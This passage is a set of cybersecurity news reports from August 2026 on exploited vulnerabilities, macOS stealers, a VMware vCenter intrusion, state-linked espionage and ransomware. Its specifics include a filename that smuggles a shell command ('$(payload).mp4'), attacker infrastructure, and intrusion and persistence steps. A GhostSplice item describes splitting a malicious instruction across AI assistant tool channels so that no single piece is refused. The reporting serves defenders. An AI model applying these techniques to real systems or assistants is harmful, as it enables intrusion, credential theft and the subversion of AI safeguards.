National Cyber Security Center (NCSC-NL) said it received a report indicating active abuse of the vulnerability across multiple systems on which port 5900 was accessible from the internet. "In all these cases, root had gained access to the affected system and placed a Monero crypto miner," the agency said. Lazarus Exploits New Windows 0-Day — The North Korean threat actor known as Lazarus Group has been attributed to the zero-day exploitation of a newly patched security flaw impacting Microsoft Windows to deliver a never-before-seen backdoor targeting defense and aerospace companies across France, Germany, Brazil, and India. The activity is part of Operation Dream Job, a long-running cyber espionage and social engineering campaign orchestrated by Pyongyang-backed hackers to target professionals worldwide with fake-but-compelling job offers to steal sensitive data and install malware. The attacks have been found to exploit CVE-2026-68820 (CVSS score: 7.0), a privilege escalation flaw affecting Windows Ancillary Function Driver for WinSock ("AFD.sys") that was patched by Microsoft as part of its Patch Tuesday updates for August 2026. The attacks have been observed to deliver ForestTiger and a new backdoor called Troy. GeoServer Patches Critical Flaw Under Attack — GeoServer has released patches for a critical SQL injection vulnerability that can lead to remote code execution (RCE). The issue, which has yet to be assigned a CVE identifier, has been patched in versions 3.0.1, 2.28.5, and 2.27.6. Per watchTowr, the vulnerability witnessed active exploitation within hours of public disclosure and that it has seen hundreds of attempts originating from a small pool of IP addresses. GeoServer project maintainers told The Hacker News that the flaw was responsibly disclosed and was scheduled to be addressed in their regular release cycle, when details of the flaw became public knowledge last week. Amnesia Stealer Goes Beyond Data Theft — A newly discovered macOS stealer family called Amnesia Stealer has been found to target macOS users via ClickFix attacks. The malware, besides stealing data from 16 Chromium-based web browsers as well as other sensitive information, such as passwords, cryptocurrency wallets, Apple Notes, documents, and iCloud Keychain data, includes a streaming module that allows the attacker to interactively control the victim's web browser. One notable aspect of the stealer is its ability to copy the victim's Chromium profile, including its authentication state, and load it into a headless browser on the infected system to access the authenticated sessions. The streaming module can duplicate user profiles in Chromium-based browsers, including Google Chrome, Microsoft Edge, Vivaldi, Arc, Opera, and Brave, and establish a WebSocket channel that connects to the operator's relay and receives commands, such as navigation and mouse clicks. The remote-control component is built using the Chrome DevTools Protocol (CDP). A second WebSocket channel connects to the local headless Chromium instance. "The operator receives a live screencast of the session at around 3fps and can drive it with a full input set: keyboard, mouse, scroll, navigation and tab management," Jamf said. "In effect, the remote_stream command turns an infected host into a live, operator-driven browser running the victim's authenticated sessions, which is a materially different level of access from file collection." Amnesia Stealer is the first documented macOS malware to combine a cloned Chromium profile with CDP-based, real-time remote control to allow interactive access. From GhostCommit to GhostSplice — A new attack technique called GhostSplice can sidestep guardrails built around AI coding assistants and parse malicious requests that are split and hidden in a different channel, such as an MCP tool description, a tool result, and a sampling message. Each of these requests is perfectly benign on its own and processed by the assistant without refusing them. "The entire attack rests on the following fact: All three of the tool channels discussed above, together with your files and your own chat, pour into one block of the assistant's memory," ASSET Group said. "There does not exist any marking that separates the content based on its respective source. Therefore, the assistant reads it all as a single page." The attack has been described as a case of cross-channel trust fragmentation. "Due to the absence of a wall between content received from different sources (e.g., different tool channels), the attacker never needs any single one of this content to look dangerous. Instead, the idea is to embed a harmless piece in each source, and the assistant stitches them back into one instruction." Using Chrome DevTools Protocol for Data Theft — New research from SpecterOps detailed a post-exploitation technique that allows Chromium's CDP protocol to be enabled inside a live Google Chrome or Microsoft Edge process on Windows with an end goal to steal cookies, saved data, and authenticated browser sessions provided an attacker already has code execution permissions on the compromised host. "Cookie protections like ABE and device-bound session cookies make it harder to steal and replay session material, but they do not remove the value of an authenticated browser to adversaries," SpecterOps said. "Once CDP is enabled inside a Chromium browser, an operator can use the browser context to sidestep those replay protections, access authenticated applications, and collect saved data. Enabling CDP is a reminder that the next evolution of cookie theft may not require stealing the cookie DB and ABE key at all." ️🔥 Trending CVEs Bugs drop weekly, and the gap between a patch and an exploit is shrinking fast. These are the heavy hitters for the week: high-severity, widely used, or already being poked at in the wild. Check the list, patch what you have, and hit the ones marked urgent first — CVE-2026-68820 (Microsoft Windows), CVE-2026-58231 (SAP Commerce Cloud), CVE-2026-48362, CVE-2026-71398, CVE-2026-27302 (Adobe), CVE-2026-20349 (Cisco Secure Firewall Adaptive Security Appliance Software and Secure Firewall Threat Defense), CVE-2026-53413, CVE-2026-53414, CVE-2026-53415 (Zoom), CVE-2026-65400 (Apple macOS), CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, CVE-2026-20348 (ClamAV), CVE-2026-18412 (OpenCart), CVE-2026-66147, CVE-2026-66145 (SonicWall), CVE-2026-6726, CVE-2026-6727 (Trusted Platform Module 2.0 reference implementation), CVE-2026-26035, CVE-2026-70468, CVE-2026-70465 (Fortinet), CVE-2026-65640 (WordPress), CVE-2026-65321 (PyAthena), CVE-2026-43637 (Cornac), CVE-2026-63720 (datamodel-code-generator), an SQL injection vulnerability in GeoServer, and multiple vulnerabilities in WireShark.. 🎥 Cybersecurity Webinars How to Control the Open-Source Security Debt Created by AI Coding Tools → Learn how AI coding tools are expanding unvetted open-source use, accelerating vulnerability backlogs, and weakening existing governance. This webinar shows how to measure the resulting remediation debt, connect it to breach, audit, and productivity risks, and identify which governance models can contain it without slowing development. AI Can Build Exploits in Minutes. Can Your Security Team Keep Up? → AI is collapsing the time between vulnerability disclosure and attack. Advanced models can now uncover flaws, generate working exploits, and chain them into complete attack paths at machine speed. This webinar presents a practical framework for gaining the visibility, context, and response speed needed to investigate and stop threats before attackers pull ahead. 📰 Around the Cyber World Security Flaw in FileRun — VulnCheck disclosed details of CVE-2026-14863 (CVSS score: 8.7), a high-severity operating system command injection flaw in FileRun that could lead to remote code execution. "FileRun's thumbnail extractors build shell commands by pasting the uploaded file path into a double-quoted string and handing it to exec(), and the filename sanitizer lets $() through, so a file named $(payload).mp4 runs its payload the moment a thumbnail is generated," security researcher Valentin Lobstein said. "Any authenticated user with upload permission gets code execution; when a public file request weblink exists, so does anyone who knows its token, no account required." The issue, which affects versions up to and including 2026.2.0, has been fixed in 2026.2.1. ClickFix Leads to ACR stealer and GhostPipe — ThreatLocker disclosed an attempted ClickFix attack that employs embedded scripts, steganographic payload extraction, and obfuscation to deploy an advanced iteration of ACR stealer and a secondary payload dubbed GhostPipe. The ClickFix attack originated from a fake CAPTCHA prompt being served on a compromised domain, resulting in the execution of a PowerShell command that downloads an MP3 file, which is then executed using MSHTA to launch a VBScript that's responsible for running intermediate payloads designed to gather system information and extract from a remotely hosted JPG file a PowerShell script. The script serves as an in-memory module shellcode launcher to deploy ACR Stealer. The malware also contacts a C2 server to fetch secondary payloads, including a PowerShell script called GhostPipe. "This seemingly unknown script performs a proxy-based AiTM attack with the sole purpose of stealing Google logins," ThreatLocker said. "The methods used are comprehensive and inherently support relaying MFA to successfully capture credentials." Flaw in Citrix NetScaler — Citrix appears to have silently addressed a heap overflow vulnerability in NetScaler that can be exploited to achieve remote code execution. The issue was patched as part of updates released towards the end of June 2026. watchTowr said the vulnerability likely corresponds to CVE-2026-8452, which has been described as a memory overflow vulnerability that could lead to unpredictable or erroneous behavior and denial-of-service when the appliance is configured as a Gateway or an AAA virtual server. The vulnerability, per the threat intelligence company, can be turned into code execution to drop a PHP web shell that can survive the NetScaler packet engine being respawned, and ultimately execute commands with root privileges. Shortly after details of the flaw became public, Defused Cyber said it observed active in-the-wild exploitation efforts two calendar days later. Ethereum Malware Loader Goes After Portuguese-Speaking Users — Portuguese-speaking users are the target of a malware loader that uses the EtherHiding technique to dynamically locate attacker infrastructure and distribute additional payloads. "The multi-stage infection chain combines obfuscated JavaScript, Node.js, DLL side-loading, and a malicious Chromium browser extension capable of targeting Chrome and Microsoft Edge to collect cookies and web storage, capture screenshots, monitor browser activity, and receive remote commands," WatchGuard Threat Lab said. The Israel National Digital Agency (INDA), in its own analysis of EtherHiding, said the technique has been used as a delivery backend, a C2 channel, a victim database, and skimming infrastructure. In another interesting twist, attackers have been found to shift to the BNB Smart Chain testnet, essentially eliminating gas fees and making the whole operation free. "Because writes there are free, unlimited, and leave no financial trail, recent reporting has found malware command-and-control backends running entirely on a testnet," INDA said. Thousands of Exposed Fuel Gauges Dropped from the Internet — BitSight said it observed a dramatic drop in internet-exposed Automatic Tank Gauge (ATG) systems in the U.S., with the number declining by more than half. "From March to June, there was over a 55% drop in exposed IP addresses," it said. "Globally, exposure fell 49% from that same March peak, with the U.S. accounting for most of the decline. For ten months, from June 2025 through March 2026, the U.S. held a band of roughly 4,300 to 5,300 unique exposed IPs, averaging 4,815 across 2025. Then April fell 27.6% in a single month, May fell another 31.8%, and June continued down. By June, the exposed population was 56% below the March peak." Phantom Enigma Campaign Targets Brazil — An active PhantomEnigma campaign has been observed abusing compromised government infrastructure and fake police-themed documents to target banking and public-sector organizations in Brazil. The phishing messages are presented as official notices and bypass email security filters to deliver a modular Node.js backdoor that collects system data, sets up persistence, and connects to rotating C2 infrastructure. It can also execute JavaScript or deliver stealers, loaders, RMM software, and other malware. Some aspects of the activity overlap with prior reports from Positive Technologies. F.B.I. Agent Charged With Unauthorized Crypto Withdrawals — An F.B.I. counterintelligence agent has been charged with illicitly obtaining about $1 million worth of cryptocurrency, largely through unauthorized withdrawals from a criminal target overseas. According to The New York Times, the agent claimed he had begun taking the money in late 2024 or early 2025, and made 10 or 12 withdrawals altogether by making use of a seed phrase to the suspect's account that the F.B.I. had obtained during its investigation of the individual. Ukraine Dismantles Fraudulent Call Centers — Ukrainian authorities disrupted 94 fraudulent call centers during a nationwide operation that involved more than 400 searches and the seizure of thousands of computers, phones, and SIM cards. Per the Ukrainian police, the call centers were associated with schemes relating to callers impersonating bank employees, fraudulent investment services, cryptocurrency platforms, and attempts to gain remote access to victims' devices or trick them into handing over sensitive data under the guise of suspicious transactions. Some cybercriminals collected personal information about prospective victims and shared or sold those records to other operations. "Call centers were staffed by administrators, operators, and other participants in the schemes, and ready-made conversation scripts, databases of potential victims, special software, and tools for hiding and further withdrawing funds were used," the police said. During the probe, 3,336 pieces of computer equipment, 1,346 phones, over 5,200 SIM cards, 90 bank cards, access to 20 crypto wallets, and 22 cars were seized. About $2 million, €64,000, cash in hryvnias, a kilogram of bank gold in bars, and jewelry were also confiscated. North Carolina Man Sentenced for Cyber Extortion Scheme — Cameron Curry, 27, of Charlotte, North Carolina, was sentenced to 24 months in prison for carrying out an "extensive cyber extortion scheme" against an unnamed D.C.-based international technology company. In March 2026, Curry was convicted of six counts of transmitting or willfully causing interstate communications with the intent to extort a victim company. "Curry misused his position to access the victim company's personnel and other sensitive corporate records, which he then used to carry out the cyber extortion scheme," the U.S. Justice Department said. "Curry hatched his extortion scheme after he learned that his contract was not going to be renewed and that he would no longer be employed by the company." ExfilSquad's Access to Data from 13 Organizations — A new analysis of data samples published by the ExfilSquad data extortion group has confirmed "they have access to sensitive data." Fortra said the breaches were most likely limited to unauthorized access of D365 instances. "The leading theory on the initial attack vector that enabled exfiltration is misconfigured Microsoft Power Page portals that allowed for public read access," it said. "The observed leaked data formats are consistent with Microsoft Dataverse exports, suggesting unauthorized read access may have been achieved, and victims found by crawling for misconfigured Microsoft Power Portals or other enumeration techniques." OpenAI Rolls Out Computer History in ChatGPT — OpenAI replaced Chronicle, which builds memories from screen captures to make ChatGPT and Codex more aware of context, with Computer History. "Computer History turns your activity across apps and websites into memories and a timeline that ChatGPT and Codex can reference," OpenAI said. "You can ask natural questions about recent work, pick up where you left off, understand patterns in how you work, and turn repeated workflows into skills or automations." Computer History is off by default for ChatGPT Pro, Business, and Enterprise users in the ChatGPT desktop app on macOS. The feature is reminiscent of Microsoft's controversial Recall, which attracted scrutiny for relying on periodic screenshots to capture and index relevant information. Unlike Chronicle, which also used screenshots, Computer History relies on capturing interactions (e.g., clicks, typing, keyboard shortcuts, app switches, and context) to allow the AI to understand user workflows. "Computer History records interaction events and does not capture your screen or audio," OpenAI said. "You control which apps and websites contribute, can see and pause collection from the macOS menu bar, and can inspect or delete your history at any time." That said, it's worth emphasizing that Computer History files can contain sensitive information. "They are not encrypted by Computer History, and other programs running as your macOS user may be able to access them," OpenAI cautions. "Protect your Mac account and exclude sources you do not want included." OpenAI also warned that Computer History increases the risk of prompt injection from content in apps and websites, as the AI system can follow instructions when visiting a website containing malicious instructions. Temporary interaction event files are retained for up to 48 hours before they are deleted. However, they can be used to create memory files that can remain for extended periods of time until users explicitly delete or clear them. China-linked LightSpy Activity Detected in Over 13 Countries — The modular implant known as LightSpy has evolved into a broader surveillance tool that's in use in more than 13 countries and regions, including Singapore, Hong Kong, the Netherlands, Pakistan, Japan, China, Malaysia, Germany, the U.S., Thailand, Indonesia, South Korea, Austria and Turkey, Arctic Wolf Labs said. This includes previously unreported router-focused capabilities along with live router implants in Europe and Africa. "The findings expand the potential impact of the surveillance framework beyond individual devices: router access can provide visibility into every device connected to a home or office network and may persist after phones are replaced, devices are factory-reset, or operating systems are upgraded," a spokesperson for the company said. LightSpy infrastructure spans several countries, including 117 servers and 35 domains impersonating Asian electronics manufacturers and router-management services. Evidence indicates that LightSpy functions as a commercialized surveillance platform, with customer branding, billing functionality, and a demonstration environment used to market the framework to prospective buyers. The platform is assessed to be the work of a Chinese contractor after one of the operators used the LightSpy administrator's panel to place an order with KFC using their real name and office address. Trivy Supply Chain Attack Exposed 2,500+ Companies — A new analysis from SOCRadar has revealed that 95% of organizations impacted by the LiteLLM supply chain attack earlier this year were exposed before, coinciding with the compromise of the Trivy scanner. "Organizations did not need to install LiteLLM directly to be exposed," the cybersecurity company said. "The package could arrive through frameworks such as DSPy, MLflow, CrewAI, OpenHands, and Arize Phoenix, while its payload executed at Python startup without requiring a LiteLLM import." The incident was attributed to a threat actor known as TeamPCP. Massive Azure Exfiltration Campaign Exposes Millions of Enterprise Records — An active Microsoft Azure exfiltration campaign is being driven by a threat actor named "TheHatman," who has "flooded" cybercrime forums with enterprise employee databases. The data is said to have been downloaded directly from the organizations’ Azure/Entra portals using compromised credentials, although the exact intrusion vector remains unknown. The campaign impacts multiple global enterprises across IT services, hospitality, telecommunications, retail, and logistics. Some of them include McDonald's, TCS, Vodafone, HCL Technologies, Kyndryl, Gap, Hexaware, and Wyndham Hotels. "Judging by the massive size of the organizations impacted, it appears highly likely that this campaign originates from targeted exploitation of Infostealer infections rather than a systemic zero-day vulnerability in Azure," Hudson Rock said. Conclusion That’s the week. Some attacks needed a real exploit. Others just needed an exposed system, a stolen login, or one weak link buried in the stack. The useful part is knowing which kind you’re dealing with before it becomes your problem. Patch what matters, close what should not be public, and keep an eye on the boring stuff. It keeps winning.
thehackernews.comAug 17, 2026extracted
Suspected China-Nexus Actor Exploits VMware vCenter Flaw, Deploys Babuk-Derived Ransomware
Cybersecurity researchers have attributed the exploitation of a newly patched security flaw in Broadcom VMware vCenter to a suspected China-nexus advanced persistent threat (APT). The attacks involve the exploitation of CVE-2026-59310 (CVSS score: 9.8), a severe directory-traversal vulnerability in the VMware vCenter server that could be weaponized by a malicious actor to execute arbitrary code. A fix for the flaw was released by Broadcom on July 29, 2026. German incident response company QUIRSO assessed with moderate confidence that the exploitation campaign aimed at CVE-2026-59310 is operated by a Chinese-speaking threat actor, likely working in the UTC+08:00 time zone, which is predominantly used in Chinese-speaking regions. "This assessment is based on the convergence of Chinese-language artifacts in attacker-created scripts, apparent reuse of research from a Chinese security publication, repeated operational use of Chinese-language tools and management software, victimology excluding mainland China, and activity patterns compatible with UTC+08:00 working hours," QUIRSO researchers Maike Orlikowski, Çağatay Yürekli, and Denis Szadkowski said. The activity, which commenced five calendar days after public disclosure of the flaw, is estimated to have compromised 361 unique victim IP addresses across 47 countries, with most of the infections scattered across Germany (55), the U.S. (41), Turkey (38), Iran (26), and France (25). Exploitation of CVE-2026-59309 One compromised vCenter Server Appliance analyzed by QUIRSO is said to have been targeted by both CVE-2026-59310 and CVE-2026-59309, an authentication bypass that has also witnessed active scanning efforts. Evidence shows malicious activity consistent with the exploitation of CVE-2026-59309 as early as August 1, 2026, followed by the creation of an administrative account on vCenter. That said, no login events have been observed for the legitimate administrative account that was used to create this new account. The account creation originated from the IP address 146.59.252[.]178 and also involved vSphere discovery via the REST API on August 3 using User-Agent strings like "GoodMoodle-VCFleet/1.0," in an attempt to masquerade it as VMware-related activity. It's worth noting that VCF Fleet is a centralized management capability introduced by Broadcom in VMware Cloud Foundation (VCF) version 9.0 to deploy, scale, patch, and operate multiple VCF instances. It encompasses multiple components, including VCF Operations, VCF Automation, vCenter, NSX Manager, vSphere Cluster, and workload domains. QUIRSO said there is no overlap between this activity and the chain of events involving the abuse of CVE-2026-59310 on the same system starting August 3, adding the newly created "vcenter_admin" administrator account was not used in subsequent phases of the attack. Exploitation of CVE-2026-59310 As for the exploitation of CVE-2026-59310, the first activity involved the cron daemon (aka crond) logging a malformed cron file called "zz-poc59310-syslog.log." In the next step, a curl command (or alternatively a wget command) is executed to retrieve a backdoor from "5.34.177[.]38:9861" and execute it, and then remove the log file. The naming convention of the log file is significant as it is a direct reference to the CVE identifier and that it was a proof-of-concept (PoC) devised after details of the flaw became public knowledge. "The '-syslog.log' suffix also mirrors the vCSA remote syslog file naming convention, but the file appears under /etc/cron.d rather than the configured syslog output directory," QUIRSO explained. "This suggests that the vCSA syslog server was abused to place files in a privileged execution location. While some files were malformed and not executed by cron, at least one file successfully executed and placed the 'linuxFile' backdoor on the system." The linuxFile implant is designed to provide remote command execution capabilities to the attacker. It establishes a connection to its controller over a WebSocket channel to receive instructions, executes them through /bin/sh, and transmits the results back to the attacker. "The C2 [command-and-control] address is XOR-obfuscated and decoded at run-time, while communications are protected using the malware's own application-layer cryptography despite using an unencrypted ws:// transport," Szadkowski told The Hacker News via email. "It also automatically reconnects on failure and contains routines for establishing persistence through systemd and cron." The threat actor behind the operation also relied extensively on cron to execute malicious payloads, including to fetch and run a shell script ("esxi.sh") from the IP address "185.144.28[.]120:3232." The shell script then serves as a downloader and persistence installer for an architecture-specific reverse SSH ("reverse_ssh") binary that's retrieved from the same infrastructure. Other cron jobs related to creating staging directories, downloading executables, changing their permissions, and running them, while referencing servers at "192.255.141[.]13:8080" and "5.34.176[.]100:5244." In what appears to be an operational security blunder, the latter has been found to expose the reverse SSH binaries toolset via an AList directory listing. A brief description of some of the various actions carried out by the threat actor is as follows - Deploying "linuxFile" (aka systemlog or linux_x86), which connects to "ws://intel.se9ly9upbhay.shop:8080/ws" and establishes persistence via a systemd service. Setting three cronjobs impersonating legitimate VMware services: vmware-vpxd-stats-* (facilitates an SSH-based remote access channel by adding the attacker's SSH public key to the authorized keys file), vmware-perf-collect-* (drops a JSP web shell named "vmware-perf-update.jsp"), and vmware-perf-sync-* (drops the same web shell and runs a Base64-encoded script that performs credential access and sets up a new account called "adminuser," which is then added to the vSphere SSO Administrators group. Creating two additional accounts: adding "vcadmin" to vSphere with a Base64-encoded Python script dropped on disk via bash commands run in a cronjob and creating a vSphere admin account via an external LDAP "Add" operation against vCenter's VMware Directory Service (vmdir) from a remote client by using a pre-existing but compromised administrative account. Creating a file named "/etc/sudoers.d/vmware-perf" with a configuration that grants the "perfcharts" service account unrestricted, non-interactive passwordless sudo access to root. Running shell scripts like "/tmp/.vmware-perf-upd.sh" to obtain credentials for vmdir by querying the HKEY_THIS_MACHINE\services\vmdir registry location. If this method fails, it searches for VMware's vmafd Python module and calls GetMachineName(), GetMachinePassword(), and GetDomainName() to get the distinguished name and password associated with the vCenter machine account. The stolen credentials are used to conduct privileged directory modifications, including adding the aforementioned "adminuser" identity to the Administrators group. Using vSphere API to perform discovery operations and "esxi.sh" to deploy the reverse_ssh client. Creating local accounts on the ESXi hosts (e.g., "adminuser") to enable ransomware encryption. Taking steps to evade detection, reduce forensic visibility, and blend into the VMware environment. The attack ultimately paves the way for the deployment of a ransomware on ESXi hosts that encrypts files with the ".babyk" extension, which is typically associated with Babuk-derived ransomware. It's not clear if this was the end goal of the campaign, or if the Babuk-derived payload was "selected opportunistically or even intentionally" to confuse attribution efforts. QUIRSO told the publication it cannot assess at this stage if the ransomware strain was deployed across other compromised systems as the analysis was limited to only one of the infected systems. However, based on the investigation so far, it's suspected that the deployment of the locker may not have been the primary objective of the campaign. Szadkowski likened the deployment to a smokescreen engineered to distract defenders from the main intrusion and thwart analysis by encrypting the ESXi log files, thereby preventing access to telemetry data that could have offered more insights into threat actor activity. "Exploitation of CVE-2026-59310 provided the actor with immediate, non-interactive code execution in a root context on the vCenter Server appliance," the researchers said. "Subsequent commands recorded by CROND were therefore already being executed as root, giving the actor unrestricted access to the underlying VCSA without first having to compromise an unprivileged local account and escalate from it." Update In a follow-up analysis, QUIRSO said it identified a GitHub repository ("pikpak0066/tmpclean") linked to the same threat actor that, at first blush, appears to be a Go-based program to automatically remove old files from Linux temporary directories. The repository was created on August 14, 2026. It carries the description "Automatic /tmp cleaner daemon for Linux (Go)." "We initially discovered the GitHub repository because we observed the attacker setting it up through the link command of the existing reverse_ssh infrastructure we were monitoring," Szadkowski told The Hacker News. "We then analyzed and reverse engineered the binaries published in the repository's releases. This independently confirmed that they were reverse_ssh builds associated with the attacker's infrastructure." Present in the repository is a Linux systemd service that scans the "/tmp" directory and deletes from it any entries, such as files, symlinks, sockets, and others, whose modification time is at least 24 hours old, and repeats it every hour. Given that the majority of the malicious artifacts associated with the intrusions are staged in the "/tmp" location, it's believed that the threat actor may be using the tool as a way to systematically wipe evidence of the intrusion and complicate analysis. What's more, a release version named "tmpclean v3.0.0" has been found to include updated "reverse_ssh" binaries, suggesting an attempt to distribute additional compiled payloads through the GitHub-based vector. It's not clear what drove the threat actor to set up the repository in the first place, although one possibility is that they are actively tracking public disclosure and are attempting to introduce new cleanup mechanisms to fly under the radar. (The story was updated after publication to include additional insights from QUIRSO.)
thehackernews.comAug 17, 2026extracted
New AmnesiaStealer macOS malware hijacks browser sessions via remote control
A new information-stealing malware called AmnesiaStealer, which targets macOS users via ClickFix attacks, includes a streaming module that allows the attacker to interactively control the victim's web browser. A notable capability is copying the victim's Chromium profile, including its authentication state, and loading it into a hidden, headless browser on the infected system. This allows the hacker to access victims' authenticated sessions while preserving the identifiers associated with the browser, host, and network. AmnesiaStealer can collect data in 16 Chromium-based web browsers as well as other sensitive information, such as passwords, cryptocurrency wallets, Apple Notes and documents, and keychain data. The malware is currently distributed through ClickFix campaigns that use a fake GitHub download page to drop a password-protected ZIP archive. Researchers at Jamf, an Apple device management and security company, analyzed AmnesiaStealer's distribution and found that it used the same template previously used to spread the Atomic and MacSync infostealers. The ClickFix command executes a shell-script loader that downloads and launches the password-protected archive containing the AmnesiaStealer Mach-O payload. The malware captures the victim’s macOS password and uses it to collect keychain data, as well as browser profiles, Apple Notes, Telegram sessions, documents, system information, and cryptocurrency wallet data. The researchers highlight that the malware features a component called stream_module, retrieved using the remote_stream command, which gives the malicious operator remote control over authenticated sessions deployed from a headless browser instance. According to Jamf, AmnesiaStealer's stream_module can duplicate user profiles in seven Chromium-based browsers, including Google Chrome, Microsoft Edge, Vivaldi, Arc, Opera, Brave, and Chromium, because they share the same DevTools Protocol, launch flags, and cookie encryption. The module launches the legitimate browser executable in headless mode with command-line switches that weaken browser defenses, duplicates the victim’s profile, and specifies its location for storing the profile data. The malware then establishes a WebSocket channel that connects to the operator's relay and sends a JSON registration message containing the browser name and build. The operator can then send commands over this channel, such as navigation and mouse clicks, while the malware returns status and tab information as JSON and transmits screencast frames as binary WebSocket messages. A second WebSocket channel connects to the local headless Chromium instance through the browser’s webSocketDebuggerUrl, providing access to the Chrome DevTools Protocol (CDP). This allows the hacker to navigate websites with mouse and keyboard control, export or import cookies, and operate online portals using the victim’s existing authenticated sessions. “The operator receives a live screencast of the session at around 3fps and can drive it with a full input set: keyboard, mouse, scroll, navigation and tab management,” Jamf explains. "In effect the remote_stream command turns an infected host into a live, operator-driven browser running the victim's authenticated sessions, which is a materially different level of access from file collection." According to the researchers, the AmnesiaStealer can exfiltrate cookies, saved logins, browsing history, bookmarks, extensions, local state, and other profile data from the 16 Chromium-based browsers it targets. It also steals cryptocurrency wallet details and identifies them by enumerating extensions and IndexedDB data. Jamf notes that the malware contains a fallback mechanism when it runs on macOS 26 and cannot recover the existing Chrome Safe Storage key, which replaced it with an attacker-supplied value. This makes previously stored cookies and passwords permanently unreadable while allowing the attacker to decrypt data later. The Chrome DevTools Protocol (CDP) has been abused by malware in the past, including by Chaos ransomware to hide command-and-control communications, and by Chaes malware to expose browser functions that could enable data theft. However, AmnesiaStealer appears to be the first documented macOS malware to combine a cloned Chromium profile with CDP-based, live remote control, allowing attackers to interact with authenticated sessions through a hidden browser running on the infected computer. Users are advised never to execute commands in the terminal that they found online and don't fully understand. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comAug 16, 2026extracted
Hackers breach govt webmail while running parallel crypto fraud
The Jewelbug hacker group has been carrying out espionage operations targeting governments and militaries while also engaging in cryptocurrency fraud. Although the threat actor has targeted government agencies and organizations in critical sectors, including defense, telecommunications, education, and aviation, its cryptocurrency-related activity suggests that they may also operate as a hack-for-hire group that seeks to profit from cybercrime. In a recent operation, Jewelbug (also known as Earth Alux and REF7707) compromised webmail accounts belonging to 15 government tenants as part of a campaign targeting a country in the Middle East. Researchers at Symantec found that the espionage campaign and the cryptocurrency fraud were conducted from the same control panel. The China-based hacker group gained write access to the shared webmail installation and inserted a malicious script into its common template. The script then ran on login pages and mailbox views across 15 tenants. After execution, the script established a WebSocket connection to the attacker's command-and-control (C2) server, exfiltrated webmail cookies, and retrieved the user's email address to determine whether it belonged to a targeted government domain. Valuable targets would receive a fake Adobe Flash update prompt, which installs the main payload on Windows, the Antino backdoor, and browser tooling. Apart from Antino, the threat actor also uses the XG-Web remote-access and data-theft framework for managing campaigns and victim information. According to Symantec, Jewelbug delivers Antino through malicious HTA files and fake Adobe Flash/Adobe installers, and then uses it to deploy additional payloads. One of the payloads is a malicious browser extension for Chrome and Firefox, named PDF Viewer, which steals cookies and credentials, intercepts traffic, injects JavaScript, and remotely exposes browser functions. Symantec traced Antino infections to Jewelbug’s infrastructure and then obtained visibility into the group’s C2 management platform, database, server logs, source code, and operator files. The data showed that the hackers ran a large-scale espionage operation and "an industrial-scale cryptocurrency fraud business." “Jewelbug’s victim database holds more than one million implant check-in rows, more than 580,000 stolen browser cookies, several thousand captured credentials, and more than 2,300 exfiltrated email bodies,” Symantec researchers note. Regarding the espionage part, Jewelbug targeted government and military organizations across the Middle East, Southeast Asia, and South Asia. “Runtime server logs recorded roughly 1.1 million geolocation events against approximately 4,300 distinct source IP addresses: approximately 87,200 connections from a Southeast Asian country (targeting state telecom and military networks), approximately 53,100 from a Middle Eastern country (across the national carrier’s ranges, including Starlink-connected addresses in the capital), and approximately 15,000 from a second Southeast Asian country (including government ministry infrastructure),” Symantec says. The researchers explained that the threat actor obtained write access to the webmail installation used by multiple government ministries and agencies after compromising a shared web-hosting platform operated by the state telecommunications provider and national services agency. By injecting a single script tag, the threat actor ensured that the JavaScript payload opened a WebSocket to the C2 every time a user on one of nine government domains logged in. "A single campaign spanned more than 15 government webmail tenants, with the hook firing on the login page and every mailbox view," Symantec says. The cryptocurrency theft operations are backed by AI-generated articles driving traffic to fake crypto exchange sites and click-fraud bots that manipulate search rankings. According to the researchers, the threat actor relies on an automated attack pipeline that scrapes keywords, generates thousands of fake download pages using AI, and publishes them "across a 44-server content-management fleet and hundreds of lookalike domains" impersonating OKX and Binance. Using click bots, Jewelbug manipulates rankings to promote their fraudulent pages. The fraud uses other lures, as well: sports betting, pirated livestream portals, and private detective scams. Symantec researchers have high confidence attributing Jewelbug's financially-motivated activities to a Chinese company that advertises SEO services. Jewelbug also uses a Rust-based implant called ‘ClientKing’ that targets Linux servers, ARM64 devices, and ASUS routers, and supports command execution, SOCKS proxying, DNS tunneling, and in-memory kernel module loading. The hackers used public Google Docs to host obfuscated payloads retrieved and executed by their implants, helping the malicious traffic blend in with legitimate Google services. Symantec published indicators of compromise related to observed Jewelbug activity, as well as a more detailed technical report describing the threat actor's tooling and tradecraft, their financial operation, and the infrastructure used in attacks. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comAug 13, 2026extracted
Gunra Ransomware Exploits Fortinet Flaws to Target Critical Infrastructure
Gunra ransomware actors are exploiting two Fortinet vulnerabilities to target government and critical national infrastructure organizations, a joint advisory issued by US and Republic of Korea authorities has warned. Gunra is a ransomware-as-a-service (RaaS) which primarily exploits known vulnerabilities in internet-facing devices, including firewalls and VPN appliances, to gain initial access. Once in a network, affiliates conduct highly advanced persistence and lateral movement techniques, ultimately allowing for the stealthy exfiltration of large volumes of data from Microsoft 365 services. The advisory is authored by the FBI, the Cybersecurity and Infrastructure Security Agency (CISA) and other US government agencies alongside the Republic of Korea’s National Police Agency (KNPA), Gunra ransomware is based on leaked Conti ransomware source code in 2022, and was first observed in April 2025. In early 2026, the group developed a structured RaaS affiliate program advertised on dark web forums. It has also adopted new branding aliases, including operating under the name “Golden Community.” Legacy Fortinet Vulnerabilities Still Effective The FBI has observed Gunra specifically targeting two legacy Fortinet vulnerabilities. These are both authentication bypass vulnerabilities affecting specific FortiOS and FortiProxy versions: CVE-2024-55591 is a critical flaw which allows a remote attacker to gain super-admin privileges via crafted requests to Node.js websocket module CVE-2025-24472 is a high severity vulnerability which can allow a remote unauthenticated attacker with prior knowledge of upstream and downstream devices serial numbers to gain super-admin privileges on the downstream device, if the Security Fabric is enabled, via crafted CSF proxy requests Patches are available for both flaws. The advisory, published on August 10, also highlighted Gunra actors’ ability to establish persistence and achieve lateral movement in victim environments following initial access, largely using techniques to bypass authentication protocols. In one observed case, Gunra actors gained access to an administrator account for a secure socket layer (SSL)-VPN appliance by exploiting default credentials when account lockout controls were not 